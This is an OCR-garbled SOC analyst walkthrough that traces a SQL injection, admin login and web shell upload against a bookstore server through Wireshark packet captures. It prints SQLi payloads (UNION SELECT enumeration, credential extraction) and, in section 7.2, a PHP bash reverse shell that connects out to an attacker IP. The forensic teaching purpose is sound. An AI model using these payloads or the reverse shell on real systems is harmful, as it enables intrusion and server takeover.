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1. The Scenario What Happened?

Let's start with the setup. Imagine you work as a SOC analyst for an online bookstore a

company that sells books over the internet. At midnight, an alert fires.

Time: Midnight

Trigger: Spike detected on the web server

Symptoms: High CPU usage, high RAM usage, database (DB) under heavy load

Source: The single web server running the entire application

Because this alert fired, your job as the SOC analyst is to do an investigation a forensics
analysis of the network traffic. The security team has already sent you a packet capture

backup file (.pcap) from midnight. That's where you start.
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2. Open the Capture File & Orient Yourself

Network Traffic Forensics

The first thing you do is open the .pcap file in Wireshark. This is your raw material every

packet that went in and out of the web server during the incident window.

2.1 Finding the IP Addresses Involved

Before filtering anything, look at the Statistics panel to understand the big picture. Go to:

Wireshark — Statistics — Endpoints

Here you're looking for IP addresses that have a huge amount of traffic a packet spike. In

this capture you immediately spot two IPs dominating the conversation:

* One IP in the same subnet range as the server (internal)

* One IP from a completely different range external, unknown

Endpaint Settings

Limit to display filter

Protocol
Bluetooth
BPV7
DCCP
v Ethernet
FC
FDDI
IEEE 802.11
IEEE 802.15.4
v IPv4
v IPvE
IPX
JXTA

Wireshark - Endpoints - Weblnvestigation.pcap

Ethernet-3 | IPv4.5 ||Pvé TCP-645 UDP.2
Address = Packets Bytes Tx Packets Tx Bytes Rx Packets Rx Bytes Country City Latitude Longitude
122 10 kB 122 10kB 0 0 bytes
88,740 29MB 44,281 21 MB 44,459 7MB
122 10 kB 0 0 bytes 122 10 kB
88,484 29MB 44,320 TMB 44,164 21MB
170.40.150.126 256 39 kB 139 20 kB mn7 20 kB

[

% Close i Help

Figure 1: Wireshark — Statistics — Endpoints — IPv4 tab showing two dominant IPs. IP
111.224.250.131 (highlighted blue) has 88,484 packets, identifying it as the high-traffic external IP.
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2.2 Verifying Which IP Is the Server

After spotting the two IPs, you need to confirm which is the server and which is the
attacker. Right-click the suspected server IP — Apply as Filter — Selected, then follow
an HTTP stream.

# check the HTTP res e headers:

HTTP/1.1 200 OK
Server: Apache/2.

The 'Server: Apache (Ubuntu)' header confirms it — that's your web server. The other IP

1s the attacker.

Weblnvestigation.peap

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

AODA® s BEBAE a2 ¢c>n«>»WEoeal

dr==73124.22.98

Time Source Destination Protocol  Length Info
30 38.199448 .40, . . .22.98 466 GET / HTTP/1.1
32 38.200145 i .40, 5 777 HTTP/1.1 208 OK (text/html)
33 38.225095 - .22.98 482 GET /css/style.css HTTP/1.1
3 g .40, g 515 HTTP/1.1 208,0K
8.291874 -48.150.126 B .22.98 446 GET /faviconNico /1.1
38 38.2892436 - .22.98 .48, . 251 HTTP/1.1 260 OK (PNG)
59 116.9208515 .40, . . .22.98 586 GET /about.php HTTP/l.1
61 116.921182 . .22. 4o, ] 691 HTTP/1.1 208 OK (text/html)
62 116.939332 .40, : 5 220 407 GET /style.css HTTP/1.1
63 116.939882 - .88 .40, o 505 HTTP/1.1 200 OK (text/css)
73 135.379826 .48, . . .22.98 516 GET /index.html HTTP/1.1
75 135.3808346 = =222 .48, H 777 HTTP/1.1 208 OK (text/html)
77 139.574098 -4B. = B pRos 518 GET /contact.php HTTP/1.1
78 139.574941 . . 98 .40, 5 721 HTTP/1.1 208 DK (text/html)
BB 168.943599 ¢ .124.22.98 537 GET /search.php?search=harry+potter HTTP/1.1
90 160.945736 : 22 ' .40, 5 450 HTTP/1.1 208 OK (text/html)
166 192.785657 .48, g E w22 548 GET /search.php?search=war HTTP/1.1
102 192.786765 . .22.98 .40, . 450 HTTP/1.1 20€ OK (text/html)
114 213.467557 , 5 .22.98 543 GET /search.php?search=Dracula HTTP/1.1
116 213.469198 . 22, .40, . 449 HTTP/1.1 208 OK (text/html)
126 247.089516 .48, & 3 - 557 GET /search.php?search=lord+of+the+rings HTTP/1.1
128 247.091601 - - .48, - 466 HTTP/1.1 208 OK (text/html)
137 257.494973 s .124. 560 GET /search.php?search=the+hobbit HTTP/1.1
139 257.496889 . .22, .48, . 451 HTTP/1.1 268 OK (text/html)
376398 2] .124 5084 GET /faq.php HTTP/1.1

- R R

Hypertext Trans rotoco B k. g Fri
Lt ¥ o A 31 34 =

Frame (515 bytes)  Uncompressed entity body (164 bytes)
gation.pcap Packets: 88862 - Displayi ) Profile: Default

Figure 2: Wireshark filtered to server IP 73.124.22.98 — HTTP responses show status codes 200 OK,
404, 500, confirming this is the web server (Apache 2.4.52 on Ubuntu).

Result
Server IP:  73.124.22.98 (Apache on Ubuntu internal range)

Attacker IP: 111.224.250.131 (external, different range, high packet volume)
4
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3 Step 2 — Identify the Attack Protocol

Now that you have both IPs, you need to understand what protocol is being attacked.

Don't jump straight to packet-level analysis — first get the bird's-eye view.

Wireshark — Statistics — Protocol Hierarchy

Wireshark - Protocel Hierarchy Statistics - Weblnvestigation.pcap

Protocol ~ Percent Packets Packets Percent Bytes. Bytes Bits/s End Packet
- Frame 100.0 88862 100.0 28629039 80 k
~ Ethernet 100.0 88862 4.3 1244068 3,514 (1]
= Internet Protocol Version 4 100.0 8BBE62 6.2 1777240 5,020
=~ User Datagram Protocol 0 122 0.0 a7s 2
Data o1 122 0.0 5368 15
~ Transmission Control Protocol 99.9 BE8T40 89.4 25601387 T2k
= Hypertext Transfer Protocol 939 23418 795 22754274 64k
Portable Metwork Graphics 0.0 3 0.0 4071 mn
MIME Multipart Media Encapsulation 0.0 1 0.0 441
Line-based text data 46.9 41645 40.7 1664808
HTML Form URL Encoded 0.0 4 0.0 129
Compuserve GIF 0.0 6 0.0 1218
Data 0.0 -] 0.0 9

Wow=
oL OF:J

=
I.Drl'li‘-‘-ﬁ—‘u.l

1]

B

(4

Protocols - 2 Help

Figure 3: Wireshark — Statistics — Protocol Hierarchy — Hypertext Transfer Protocol (HTTP)
accounts for 93.9% of packets immediately identifying the web layer as the attack surface.
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3.1 Applying a Filter for the Attacker's HTTP Traffic

Now apply a filter combining the attacker's IP with the HTTP protocol. In the Wireshark
filter bar:

# See ALL traffic between attacker and ser

ip.addr == 111.224.250.131 && http

# See only REQUESTS from the attacker:
src == 111.224.250.131 && http

Weblnvestigation.pcap

File Edit Vi Go Capture Analyze Statistics Telephony Wireless Tools Help
AODSe s BBR@ a «»n«>»WE ool
N [ip.addr==111.224.250.131 and http - B+

No. Time Source Destination Protocol Lenath_info
L= 267 1334976561 111.224.250.131  73.124.22.98 ______HITP R 400 CCll
9 133 7 131, Tl HTTP 89 HTT (t
271 1335.913040 111.224.250.131 73.124°W22.98 GET t"CSS/StVlE €ss HTTP/1.1
272 1335.013563 73.124.22.98 111.224.256.131 HTTP/1.1 280 OK (text/css)
273 1335.017712 111.224.250.131 73.124.22.98 GET /favicon.ico HTTP/1.1
275 1335.618094  73.124.22,98 111,224,250.131 HTTP/1.1 266 OK (PNG)
284 1341.714761 111.224.250.131 73.124.22.98 GET /about.php HTTP/1.1
286 1341.715520 73.124.22.98 111.224.258.131 HTTP/1.1 280 OK (text/html)
288 1341.742137 111.224.250.131 73.124.22.98 GET /style.css HTTP/1.1
289 1341,742758  73.124.22,98 111.224,250.131 HTTP/1.1 280 OK (text/css)
291 1346.248977 111.224.250.131 73.124.22.98 GET /index.html HTTP/1.1
292 1346.249502 73.124.22.98 111.224.258.131 HTTP/1.1 280 OK (text/html)
294 1350.162352 111.224.250.131 73.124.22.98 GET /contact.php HTTP/1.1
295 1350,163007  73.124.22.98 111,224,250.131 HTTP/1.1 280 OK (text/html)
303 1362.983947 111.224.250.131 73.124.22.98 GET /faq.php HTTP/1.1
305 1362.984939 73.124.22.98 111.224.258.131 HTTP/1.1 280 OK (text/html)
315 1382.007388 111.224.250.131 73.124.22.98 GET /search.php?search=test+test HTTP/1.1
317 1382.009223 73.124.22.98 111.224.250.131 HTTP/1.1 200 0K (text/html)
325 1392.184444 111.224.250.131 73.124.22.98 GET /search.php?search=war HTTP/1.1
327 1392.186184 73.124.22.98 111.224.258.131 HTTP/1.1 280 OK (text/html)
335 1399.504963 111.224.250.131 73.124.22.98 GET /search.php?search=book HTTP/1.1
337 1399.506721 73.124.22.98 111.224.250.131 HTTP/1.1 260 OK (text/html)
347 1450.830622 111.224.250.131 73.124.22.98 GET /search.php?search=book%27 HTTP/1.1
349 1450.032486 73.124.22.98 111.224.250.131 HIIP g 560 Interpal Server Error
357 1470.702716 111.224.250.131 73.124.22.98 GET /search.php?search=book%20and%201=1;%26- -%28- HTTP/1.1

. 2 (U
Last-Mod
ri, 15 H
o 8

fa

S

A 00

Figure 4: Wireshark filtered to attacker IP 111.224.250.131 + HTTP — showing the attacker's

request stream.

Note : GET /search.php requests with URL-encoded payloads (test+test, book%27, etc.) indicating

early reconnaissance.
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4 Step 3 Identify the Attack Type

Now you dig into the actual HTTP packets. Filter to show only HTTP traffic from the

attacker's IP and start reading the requests. You're looking for patterns.

4.1 Recognizing the Initial Payload Pattern

The earliest GET requests to search.php look suspicious:

# These packets show the attack fingerprint:
GET /search.php?q=test+test HTTP/1.1
GET /search.php?q=test%3b1%3d1 HTTP/1.1
GET /search.php?q=test%27+AND+1%3d1 HTTP/1.1
# URL decoded (use Burp Suite Decoder ):
test; 1=1
test' AND 1=1
Those URL-encoded characters — %3b (semicolon), %27 (single quote), AND 1=1 are

the classic fingerprint of a SQL Injection attack.

Wireshark - Follow HTTP Stream (tcp.stream eq 36} - Weblnvestigation.pcap

ET ssearch.php?search=book%Z0and%201=1,;%20--%280~- HTTP/ 1.1
: bookworldstore.co
User-Agent: Mozillas5.0 (X11; Linux x86_64; rv:189.0) Gecko/ 20180101 Firefox/s115.0

accept-Encoding:
onnection: keep-aliwve|

ontent-Encoding:

ontent-Length:

Keep-Alive: timeout=%5, max=18

onnection: Keep-Aliwve

ontent-Type: textshtml;

o results found=form action="search.php"” method="
=input type="text" name=" arch™ placehold s
=input type="submit" wvalue="Search">

TEIEE ok, 7R pkt, 1w,

Entire conversation (815 bytes) - Show data as ASCII ~ Stream 36 I
Find: Find Mext

Filter Out This Stream = * Close £ Help

Figure 5: Wireshark HTTP Stream The attacker’s first test: GET
/search.php?search=book%20and%201=1;%20-- . The server returns ""No results found" but this

response tells the attacker the injection point works (no_error = injectable).

7
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4.2 URL Decoding: Reading the Payloads

HTTP traffic is URL-encoded. To read attacker payloads in plain text, you must decode

them. This is a critical investigation skill.

Sl search. php?search=book%28and¥%201=1;%20 - -%20 - IEEELTETE

Iser-Agent: Mozilla/s.® (X11; Linux x86_64; rv:189.0) Gecko/20168161 Firefox/115.8
pccept: text/html, application/xhtml+xml, application/xml;q=0.9, image/avif, image/webp, */* ; g3
8. 8

Accept-Language: en-US,en;q=e.5|
pccept-Encoding: gzip, deflate
onnection: keep-alive|

t intruder Repeater View Help

iy
Target Praxy Intruder Repeater Collaborator Sequencer Comperel er nizer i earn {8} Settings

s
[Fsearch.php?search=book%%20and%201=1:%20--%20- ® Text Hex o
L URL ==—5
"as h 2 Encode as .. w
Hash v

fsearchphpisearch=book and 1=1; - -

Smart decode

@ Text () Hex

Result =

Hash ..

Smart decode

Eventlog{1)®  Allissues @ Memory: 129.6M8

Figure 6: Burp Suite Decoder URL decoding workflow: (1) Copy the encoded URL firom Wireshark, (2) Paste
into Burp Decoder, (3) Select "URL'" decode. Result shows the plain-text SQL injection payload.

# Example decode:
Encoded: test%27+AND+1%3d]1
Decoded: test' AND 1=1
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4.3 What Is SQL Injection?

Here's how the attack works — with the web application architecture analogy:

Layer What It Is Normal Behavior

Frontend The webpage the user sees (form, search User types input — it becomes an SQL
bar, login) query — saved to database safely

Backend / Where all user data is stored (usernames, SQL queries read/write data using
Database passwords, book data) parameterized inputs

SQL Attacker bypasses frontend entirely talks Skips validation — database executes
Injection directly to the database with raw SQL attacker's commands directly

Root Cause
1. No input validation on the search parameter (and other URL parameters).

2. The application was passing user input directly into SQL queries — a textbook

SQL Injection vulnerability.

. Fix: Use parameterized queries (prepared statements). Never concatenate user

input into SQL strings.

4.4 The Attack Progression Pattern

SQL injection attacks follow a predictable progression. As you read through the HTTP

stream, the pattern becomes clear:

Stage What the Attacker Sends What It Means

1 — Testing 1=1 in the parameter Classic first SQLi payload — tests if the
parameter is injectable

2 —Schema enum UNION SELECT ... FROM Pulls a list of all databases on the server
information schema

3 — Table enum SELECT ... FROM Lists all tables inside the target database
information_schema.tables

4 — Data extract SELECT id, username, password Extracts actual credentials and data
FROM <table>
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5 Step 4 — Trace the Database Enumeration

Now follow the attack chronologically using the packet frames. Go back to Wireshark
and look at the frame numbers to trace the timeline. Use Follow — HTTP Stream on

individual packets to read the full request/response.

5.1 The Attacker Finds the Database Name

In the HTTP stream, you'll see a UNION SELECT payload targeting

information_schema:
GET /search.php?q=' UNION SELECT 1,2,
GROUP_CONCAT(schema_name) FROM information_schema.schemata--
HTTP/1.1

Wireshark - Follow HTTP Stream (tcp.stream eq 151) - Weblnvestigation.pcap

ET ssearch.php?search=book%2 7%ZOUNION%ZOALL%ZOSELECTH2ONULLEZCCONCATHRZBEXTL78T66271%2C IS0
N_ARRAYAGGRZBCONCAT WSHZBOxXTATOHGTEHAG36DbNZCschema nameXd2 929X ZCAOXTITETOGaT 1% 29 20FROMMZOINF
ORMATION_SCHEMA .SCHEMATA--%28- HTTP/1.1
ache-Control: no-cache|
User-Agent: sqlmaps1l.8.3#stable (https://sqglmap.org)

: bookwor ldstore.co

cecept-Encoding:
onnection: close

ontent -Type: texts/html; charset=UTF-8

Packet 1525. 1R prt, 1EEEET pkt, Tturn, Click to select.

Entire conversation (860 bytes) Show dataas ASCII ~ Stream 151 =
Find: Find Mext

Filter Out This Stream Save as... * Close 3 Help

Figure 7: Wireshark — Follow HTTP Stream — The UNION SELECT payload targeting
information_schema.schemata. The server response (highlighted) reveals database names: mysql,

information_schema, performance_schema, sys, and ""bookworld_db'" — the target database.

10
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5.2 The Attacker Enumerates Tables

The attacker now knows exactly what database to target. Next, the attacker queries the
tables inside the bookworld database:

' UNION SELECT table name FROM information schema.tables

WHERE table schema='bookworld'--

Wireshark - Follow HTTP Stream (top.stream o 166) - Weblnwestigation.peap

3l search . php?search=book%27%2ZOUNION%ZOALL%EZOSELECT.
N_ARRAYAGGHZBCONCAT _WSHZBOXTa76676a636bN2CidR2ZCTtit Leka!
wor ld _db.books - -%26 - JEARIEFEHE
ache-Control: no-cathe|
ser-Agent: sqlmaps1.8.3#stable (https:// sqlmap.org)
ost: bookwor ldstore.co
Accept: /"
Accept-Encoding:
onnection: close

ontent -Encoding:
ontent -Length:
onnection: close
ontent-Type: text/html; charset=UTF-8
["1zvgickThe Great Gatsby 2zvgjckigaa
kiolita™, "SzwvgjckJlJane Eyre™,
kAnimal Farm", "9zwvgjckLes Mis..rables™,
renina", "12zwvgjckDracula"™, "i13zwvgjckMadame Bowvary",
, "1SzvgjckA Tale of Two Cities",
atcher in the Rye", "19zwvgjckThe Hobbit™,
=pectations",
" lgvpig<=sSp=<form
<input type="text"
<=input Type="submit"”

action="search.php” method="get"=>

name="search"
value="Search">

Packet 1658 1 NN o, 70 pkt, T turn. Click to select.
Entire conversation (1,398 bytes) Sh
Find:
Filter OQut This Stream

= 5 3zvajckTo Kill 7

"GzvgijckBrave New World"™, "7FzwvgjckWuthering Heights"™, "
"1@zvgjckSense and Sensibility”,
"14rvgjckThe Picture of Dorian Gray"
"16zvgickFrankenstein®,
"2azvgjckCrime and Punishment",
"22zwgickThe Adventures of Huckleberry Finn',

placeholder="Searcl

ow dataas ASCI =

NULL%ZCCONCATHZBOXT17BTEG2T1%2C IS0

EZ2O9RZCOXNTITETOGATINZ9NZOFROM%EZ0book

a Mockingbird
"lizwvgjckAnna
"irvzvgjckHamlet", "i18zwvgickThe

"2azwvgijckGreat E
"23zvgjckThe Lord of the Rings

Stream 166 -
Find Mext

2 Help

Figure 8: Wireshark — Follow HTTP Stream — Table enumeration response. The server returns
book titles AND the concatenated table names from information_schema. The attacker now knows all

tables: books, users, orders, search, places.

The response reveals the table names. Now the attacker knows the structure of the entire

database.

5.3 The Attacker Extracts Credentials

With the table names in hand, the attacker targets the users table:

' UNION SELECT id, username, password FROM users--
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The database responds with actual credentials. The attacker now has a

username/password pair for the admin account.

SQL injection works because the application passes user input (the search box value)
directly into the SQL query string with no sanitization, escaping, or parameterized

queries.
The attacker is essentially talking directly to the database. The frontend is irrelevant.

The entire credential theft took place through the public-facing search function no

special access required.

5.4 Wireshark: Finding PHP-Containing Packets (ADDED)

At this stage, filtering further helps you isolate the most critical packets:
# Filter for packets from attacker that contain "

ip.addr == 111.224.250.131 and http contains "

714761 : +258. TR HTTP 454 /about.php HITP/1.1
.742137 f i 5 5 i22 /style.css HTTP/1.1
248977 : .250. 2 < /index.html HTTP/1.1
.162352 5 2 = % 22, /contact.php HTTP/1.1
. 983947 L : s A Aol /faq.php HTTP/1.1

phi

= ST
/search.phpzsearch=war HTIP/1.1
p?search=book HTTP/1.1

erere

.613333

.930180

512122 .224.250. S124.

547971 .224.250. -124.22. p?search=book&ZsclL= 7 6 5E%20ANDX201%3D1%26UNTONK2OAL L X26SEL ECTR261X2CNULLX2CH2THS,
.e12384 .224.256. -1za.22. BzamelEishol o a0

-e33918 .224.250. -1za.22. -php7sear o%zz. 9 HTTP/1.1

845360 .224.250. _12a. _php?sear 7 g, X TuRaeRs iglSR HTTP/1

877175 .224.250. -124.22. BB 2searChobooka27)so% 2 OANDX2661 66X3D605 3% 20ANDXZOX2BX27UTULX2TRIDN2TUT UL HTTP/1 .
.881715 .224.250. -124.22. i A L M L e T e D e T T B e
988190 .224.250. -12a4.22. s .php?sear 745 PyAOK27%3ID%2TPYA0 HTTP/1

893417 224250, _124. _php?sear s 714%3D271, T2 TXIDR o0 HTTR71. 1
897551 .224.250. -124.22. _php?sear 7 HTTP/1.

.899424 _224. : _124.22. /search.php?search: Dok NP OANDAZDS 71 4%aD2 7 142 OANDNSENEOD4 7 IIDBITL HITP /1 1

iypercex anster ProLoco

Figure 9: Wireshark filtered to attacker IP + HTTP + ".php' — showing all PHP page requests. This

reveals the full SOL attack sequence: from initial test payloads (search=test+test) through UNION

SELECT enumeration, narrowing the timeline to_focus on meaningful attacker activity.
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6 Step S — Trace the Login and Admin Access

After extracting the credentials, the attacker moves to the next phase: log in to the admin

panel.

6.1 Finding the Admin Panel Path

Filter for POST requests in Wireshark POST is the HTTP method used when submitting
forms (logging in, uploading files):

# Wireshark filter — POST requests only:

http.request.method == "POST"

Weblnvestigation.peap

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

ADA® RREBEM @« ¢« »n « W =E o8
[W]http.request.method == "POSTY |

Time Destination Protocol  Length Info
BO664 2023.126774 T 73.124.22.98 HTTP 655 POST fadmin/login.php HTTP/1.1 (application/x-www-form-urlencoded)
88677 2069.847495 111.224.250.131 73.124.22 .98 658 POST fadmin/login.php HTTR/1.1 (application/x-www-form-urlencoded)
BBGB1 2073.BB8784 111.224.256.131 73.124.22.98 659 POST fadmin/login.php HTTR/1.1 (application/x-www-form-urlencoded)
BBG699 2294.305526 111.224.250.131 73.124.22.98 661 POST /fadmin/login.php HTTP/1.1 (application/x-www-form-urlencoded)
88757 2697.157173  111.224,250.131 73.124.22.98 1122 POST /admin/index.php HTTP/1.1 (application/x-php)

Figure 10: Wireshark filtered to POST requests — Four POST requests to
/admin/login.php and one to /admin/index.php are visible. The attacker tried multiple

login attempts before succeeding. Note the packet lengths vary as credentials change.

In the results, you'll see the attacker trying several admin paths. Four frames show POST
requests hitting different admin URLs. The attacker is directory-bruteforcing — trying

common admin panel paths until one works.
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6.2 The Login Attempt Sequence

Following those HTTP streams reveals the login attempt pattern:

Attempt  Username Password Server Response

1 admin admin 401 — Invalid username or
password

admin default 401 — Invalid username or
password

default default 401 — Invalid username or
password

adminl23 (from 302 Found — Login successful v/
DB extract)

Wireshark - Follow HTTP Stream (tep.stream eq 647) - Weblnvestigation.peap

POST Sadmin/login.php HTTP/1.1
: bookworldstore.co
User-agent: Mozillas5.8 (X11; Linux x86_64; rv:189.0) Gecko 20188101 FireToxs115.0
: textshtml, application/xhtml+xml, application/xml;q=0.9, image/savif, image/webp, = ; qj

Accept-Language: en-US, en;q=e.
aAccept -Encoding: gzip, deflate _
ontent-Type: applicationsx-www-Torm-ur lencoded

» 19 Now 1981 @B8:52:80 GM
ache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
location: index.php
ontent-Length: af
Keep-Alive: timeout=5,
onnection: Keep-Aliwve

Accept-Language: en-uUs, en;q=e .5
aAccept -Encoding: gzip, deflate]

ntire conversation (2,397 bytes) Show data as ASCII -~ Stream 647 2

Find: Find Mext

Filter Out This Stream Sawve as... £ Help

Figure 11: Wireshark — Follow HTTP Stream— The successful admin login. POST
/admin/login.php with username=admin&password=adminl23 receives HTTP/1.1 302 Found,
redirecting to index.php. The PHPSESSID cookie confirms an authenticated session was established.

The attacker now has an authenticated admin session on the web application.
Session ID (PHPSESSID: ae7mvmmf2krhirdkngnmio680a) was observed in cookies
same session ID used across all subsequent requests.

The attacker tried default credentials first, then fell back to the credentials they stole from
the database. This is a classic pattern.
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7 Step 6 — The Web Shell Upload

This is where the attack goes from 'data theft' to 'full system compromise.' After logging

in, the attacker navigates to a file upload page on the admin panel.

7.1 Finding the File Upload

In Wireshark, filter again for POST requests with the established session. Look for a
request that contains 'multipart/form-data’ the HTTP content type used for file uploads:

# Wireshark filter — POST requests:
http.request.method == "POST"

# You will find a POST to:
POST /admin/file upload.php HTTP/1.1
Content-Type: multipart/form-data; boundary=...

[File content follows...]

7.2 What Was Uploaded The Reverse Shell

Extract the file content from the packet. What you find is a PHP reverse shell. Here is the

actual content visible in the packet:

<?php

// PHP Reverse Shell

// Filename uploaded: NVri2vhp.php
// Connects back to attacker's machine

exec("/bin/bash -c¢ 'bash -1 >& /dev/tcp/111.224.250.131/443 0>&1"");
1‘)>




Accepit-Language: en-US,en;q=a.
Accept-Encoding: gzip, deflate
ontent-Type: multipart/form-data;

56V 79326ER 1587540041229 23605 3
ontent-Disposition: form-data; name="fileToUpload"; filename="HNWvriZwvhp.php"
ontent-Type: applicationsx-php|

7php exec("/binsbash -c "bash -1 >& Sdev/tcps"111.Z24.250.131"/443 0>&1"") ;7

ontent-Disposition: Torm-data; name="submit"

» 19 Now 1981 @B:52:00 GM e
ache-Control: no-store, no-cache, must-revalidate

ontent-Encoding:
ontent-Length:
IKeep-Alive: timeout=5,

Packet 28750, 1 I pho, 1 EEREN pkt, Ttwrn., Click to select.
Entire conversation (2,107 bytes) Show data as ASCII - Stream 65C 2
Find: Find Mext

Filter Out This Stream Save as... 2 Help

Figure 12: Wireshark — Follow HTTP Stream — The PHP reverse shell upload. The
multipart/form-data POST uploads NVri2vhp.php containing exec('"/bin/bash...") connecting back to
the attacker's IP on port 443.

7.3 The Reverse Shell —How It Works

Normal shell: YOU connect TO the server (your machine — server)
Reverse shell: The SERVER connects back to the ATTACKER (server — attacker

machine)

Why reverse? Firewalls block inbound connections to the server.

But outbound connections FROM the server? Usually allowed (the server needs to make
web requests, updates, etc.).

When the PHP file executes: the server dials back to 111.224.250.131:443 and gives the

attacker a terminal ,The attacker now has full command-line control of the server.
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